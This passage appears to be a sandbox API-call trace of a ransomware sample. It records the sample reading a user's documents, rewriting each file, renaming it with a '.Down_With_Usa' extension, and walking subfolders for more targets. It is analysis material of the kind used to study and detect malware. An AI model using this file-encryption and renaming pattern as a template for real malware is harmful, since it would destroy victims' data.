[0118.818] ReadFile (in: hFile=0x3a8, lpBuffer=0x27bf478, nNumberOfBytesToRead=0x111b4, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27bf478*, lpNumberOfBytesRead=0x2ebe58*=0x111b4, lpOverlapped=0x0) returned 1
[0118.853] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps", lpFilePart=0x0) returned 0x3d
[0118.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\snuw0vqjwlqlbubn7.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.858] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps", lpFilePart=0x0) returned 0x3d
[0118.858] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps.Down_With_Usa", lpFilePart=0x0) returned 0x4b
[0118.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.859] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\snuw0vqjwlqlbubn7.pps"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaafa0270, ftCreationTime.dwHighDateTime=0x1d5d7ed, ftLastAccessTime.dwLowDateTime=0x4c10fb20, ftLastAccessTime.dwHighDateTime=0x1d5d88c, ftLastWriteTime.dwLowDateTime=0x234f4d40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x111c0)) returned 1
[0118.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.859] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\snuw0vqjwlqlbubn7.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\snuw0vqjwlqlbubn7.pps.down_with_usa")) returned 1
[0118.860] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx", lpFilePart=0x0) returned 0x38
[0118.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yogq-nhh7u4.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.860] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x10a08
[0118.860] ReadFile (in: hFile=0x3a8, lpBuffer=0x26f7e08, nNumberOfBytesToRead=0x10a08, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26f7e08*, lpNumberOfBytesRead=0x2ebe58*=0x10a08, lpOverlapped=0x0) returned 1
[0118.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx", lpFilePart=0x0) returned 0x38
[0118.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yogq-nhh7u4.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx", lpFilePart=0x0) returned 0x38
[0118.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx.Down_With_Usa", lpFilePart=0x0) returned 0x46
[0118.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.913] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yogq-nhh7u4.docx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f14b60, ftCreationTime.dwHighDateTime=0x1d57951, ftLastAccessTime.dwLowDateTime=0x5f669830, ftLastAccessTime.dwHighDateTime=0x1d58745, ftLastWriteTime.dwLowDateTime=0x2358d2c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x10a10)) returned 1
[0118.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.913] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yogq-nhh7u4.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yogq-nhh7u4.docx.down_with_usa")) returned 1
[0118.914] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx", lpFilePart=0x0) returned 0x39
[0118.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z3bojlpubdp0.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.914] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x99e8
[0118.914] ReadFile (in: hFile=0x3a8, lpBuffer=0x2621c18, nNumberOfBytesToRead=0x99e8, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2621c18*, lpNumberOfBytesRead=0x2ebe58*=0x99e8, lpOverlapped=0x0) returned 1
[0119.022] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx", lpFilePart=0x0) returned 0x39
[0119.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0119.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z3bojlpubdp0.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0119.027] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx", lpFilePart=0x0) returned 0x39
[0119.027] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx.Down_With_Usa", lpFilePart=0x0) returned 0x47
[0119.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0119.027] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z3bojlpubdp0.docx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75650f90, ftCreationTime.dwHighDateTime=0x1d5c584, ftLastAccessTime.dwLowDateTime=0x746539d0, ftLastAccessTime.dwHighDateTime=0x1d56760, ftLastWriteTime.dwLowDateTime=0x23697c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x99f0)) returned 1
[0119.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0119.028] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z3bojlpubdp0.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z3bojlpubdp0.docx.down_with_usa")) returned 1
[0119.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0119.029] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d", lpFilePart=0x0) returned 0x3b
[0119.029] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\", lpFilePart=0x0) returned 0x3c
[0119.029] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9eff680, ftCreationTime.dwHighDateTime=0x1d5ddc1, ftLastAccessTime.dwLowDateTime=0x1416e490, ftLastAccessTime.dwHighDateTime=0x1d5d9aa, ftLastWriteTime.dwLowDateTime=0x1416e490, ftLastWriteTime.dwHighDateTime=0x1d5d9aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0119.029] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9eff680, ftCreationTime.dwHighDateTime=0x1d5ddc1, ftLastAccessTime.dwLowDateTime=0x1416e490, ftLastAccessTime.dwHighDateTime=0x1d5d9aa, ftLastWriteTime.dwLowDateTime=0x1416e490, ftLastWriteTime.dwHighDateTime=0x1d5d9aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.030] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3566270, ftCreationTime.dwHighDateTime=0x1d5dbee, ftLastAccessTime.dwLowDateTime=0xe0a23c60, ftLastAccessTime.dwHighDateTime=0x1d5e50a, ftLastWriteTime.dwLowDateTime=0xe0a23c60, ftLastWriteTime.dwHighDateTime=0x1d5e50a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="c27HLfzKOWE", cAlternateFileName="C27HLF~1")) returned 1
[0119.030] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f922da0, ftCreationTime.dwHighDateTime=0x1d5e260, ftLastAccessTime.dwLowDateTime=0x2cbbdb70, ftLastAccessTime.dwHighDateTime=0x1d5e5c3, ftLastWriteTime.dwLowDateTime=0x2cbbdb70, ftLastWriteTime.dwHighDateTime=0x1d5e5c3, nFileSizeHigh=0x0, nFileSizeLow=0xd76d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d slaxc-.rtf", cAlternateFileName="DSLAXC~1.RTF")) returned 1
[0119.030] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b5426f0, ftCreationTime.dwHighDateTime=0x1d5e267, ftLastAccessTime.dwLowDateTime=0x94524500, ftLastAccessTime.dwHighDateTime=0x1d5e7c9, ftLastWriteTime.dwLowDateTime=0x94524500, ftLastWriteTime.dwHighDateTime=0x1d5e7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lX_ai0Tv5NI-wv6", cAlternateFileName="LX_AI0~1")) returned 1
[0119.030] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ff0130, ftCreationTime.dwHighDateTime=0x1d5dc2a, ftLastAccessTime.dwLowDateTime=0xea0a1210, ftLastAccessTime.dwHighDateTime=0x1d5dfb9, ftLastWriteTime.dwLowDateTime=0xea0a1210, ftLastWriteTime.dwHighDateTime=0x1d5dfb9, nFileSizeHigh=0x0, nFileSizeLow=0xc88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="mAHI4K3oU1.ots", cAlternateFileName="MAHI4K~1.OTS")) returned 1
[0119.030] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b721500, ftCreationTime.dwHighDateTime=0x1d5e6bb, ftLastAccessTime.dwLowDateTime=0xf2e9e010, ftLastAccessTime.dwHighDateTime=0x1d5e28c, ftLastWriteTime.dwLowDateTime=0xf2e9e010, ftLastWriteTime.dwHighDateTime=0x1d5e28c, nFileSizeHigh=0x0, nFileSizeLow=0x18f39, dwReserved0=0x0, dwReserved1=0x0, cFileName="yCnC o.doc", cAlternateFileName="YCNCO~1.DOC")) returned 1
[0119.030] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0119.030] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0119.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0119.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0119.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0119.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d", lpFilePart=0x0) returned 0x3b
[0119.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\", lpFilePart=0x0) returned 0x3c
[0119.031] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9eff680, ftCreationTime.dwHighDateTime=0x1d5ddc1, ftLastAccessTime.dwLowDateTime=0x1416e490, ftLastAccessTime.dwHighDateTime=0x1d5d9aa, ftLastWriteTime.dwLowDateTime=0x1416e490, ftLastWriteTime.dwHighDateTime=0x1d5d9aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0119.031] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9eff680, ftCreationTime.dwHighDateTime=0x1d5ddc1, ftLastAccessTime.dwLowDateTime=0x1416e490, ftLastAccessTime.dwHighDateTime=0x1d5d9aa, ftLastWriteTime.dwLowDateTime=0x1416e490, ftLastWriteTime.dwHighDateTime=0x1d5d9aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.031] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3566270, ftCreationTime.dwHighDateTime=0x1d5dbee, ftLastAccessTime.dwLowDateTime=0xe0a23c60, ftLastAccessTime.dwHighDateTime=0x1d5e50a, ftLastWriteTime.dwLowDateTime=0xe0a23c60, ftLastWriteTime.dwHighDateTime=0x1d5e50a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="c27HLfzKOWE", cAlternateFileName="C27HLF~1")) returned 1
[0119.031] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f922da0, ftCreationTime.dwHighDateTime=0x1d5e260, ftLastAccessTime.dwLowDateTime=0x2cbbdb70, ftLastAccessTime.dwHighDateTime=0x1d5e5c3, ftLastWriteTime.dwLowDateTime=0x2cbbdb70, ftLastWriteTime.dwHighDateTime=0x1d5e5c3, nFileSizeHigh=0x0, nFileSizeLow=0xd76d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d slaxc-.rtf", cAlternateFileName="DSLAXC~1.RTF")) returned 1
[0119.031] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b5426f0, ftCreationTime.dwHighDateTime=0x1d5e267, ftLastAccessTime.dwLowDateTime=0x94524500, ftLastAccessTime.dwHighDateTime=0x1d5e7c9, ftLastWriteTime.dwLowDateTime=0x94524500, ftLastWriteTime.dwHighDateTime=0x1d5e7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lX_ai0Tv5NI-wv6", cAlternateFileName="LX_AI0~1")) returned 1
[0119.031] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ff0130, ftCreationTime.dwHighDateTime=0x1d5dc2a, ftLastAccessTime.dwLowDateTime=0xea0a1210, ftLastAccessTime.dwHighDateTime=0x1d5dfb9, ftLastWriteTime.dwLowDateTime=0xea0a1210, ftLastWriteTime.dwHighDateTime=0x1d5dfb9, nFileSizeHigh=0x0, nFileSizeLow=0xc88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="mAHI4K3oU1.ots", cAlternateFileName="MAHI4K~1.OTS")) returned 1
[0119.031] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b721500, ftCreationTime.dwHighDateTime=0x1d5e6bb, ftLastAccessTime.dwLowDateTime=0xf2e9e010, ftLastAccessTime.dwHighDateTime=0x1d5e28c, ftLastWriteTime.dwLowDateTime=0xf2e9e010, ftLastWriteTime.dwHighDateTime=0x1d5e28c, nFileSizeHigh=0x0, nFileSizeLow=0x18f39, dwReserved0=0x0, dwReserved1=0x0, cFileName="yCnC o.doc", cAlternateFileName="YCNCO~1.DOC")) returned 1
[0119.031] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b721500, ftCreationTime.dwHighDateTime=0x1d5e6bb, ftLastAccessTime.dwLowDateTime=0xf2e9e010, ftLastAccessTime.dwHighDateTime=0x1d5e28c, ftLastWriteTime.dwLowDateTime=0xf2e9e010, ftLastWriteTime.dwHighDateTime=0x1d5e28c, nFileSizeHigh=0x0, nFileSizeLow=0x18f39, dwReserved0=0x0, dwReserved1=0x0, cFileName="yCnC o.doc", cAlternateFileName="YCNCO~1.DOC")) returned 0
[0119.032] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0119.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0119.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0119.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf", lpFilePart=0x0) returned 0x48
[0119.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0119.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\d slaxc-.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0119.032] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0xd76d
[0119.032] ReadFile (in: hFile=0x3a8, lpBuffer=0x274a588, nNumberOfBytesToRead=0xd76d, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x274a588*, lpNumberOfBytesRead=0x2eb8d8*=0xd76d, lpOverlapped=0x0) returned 1
[0119.080] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf", lpFilePart=0x0) returned 0x48
[0119.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0119.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\d slaxc-.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0119.090] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf", lpFilePart=0x0) returned 0x48
[0119.090] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf.Down_With_Usa", lpFilePart=0x0) returned 0x56
[0119.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
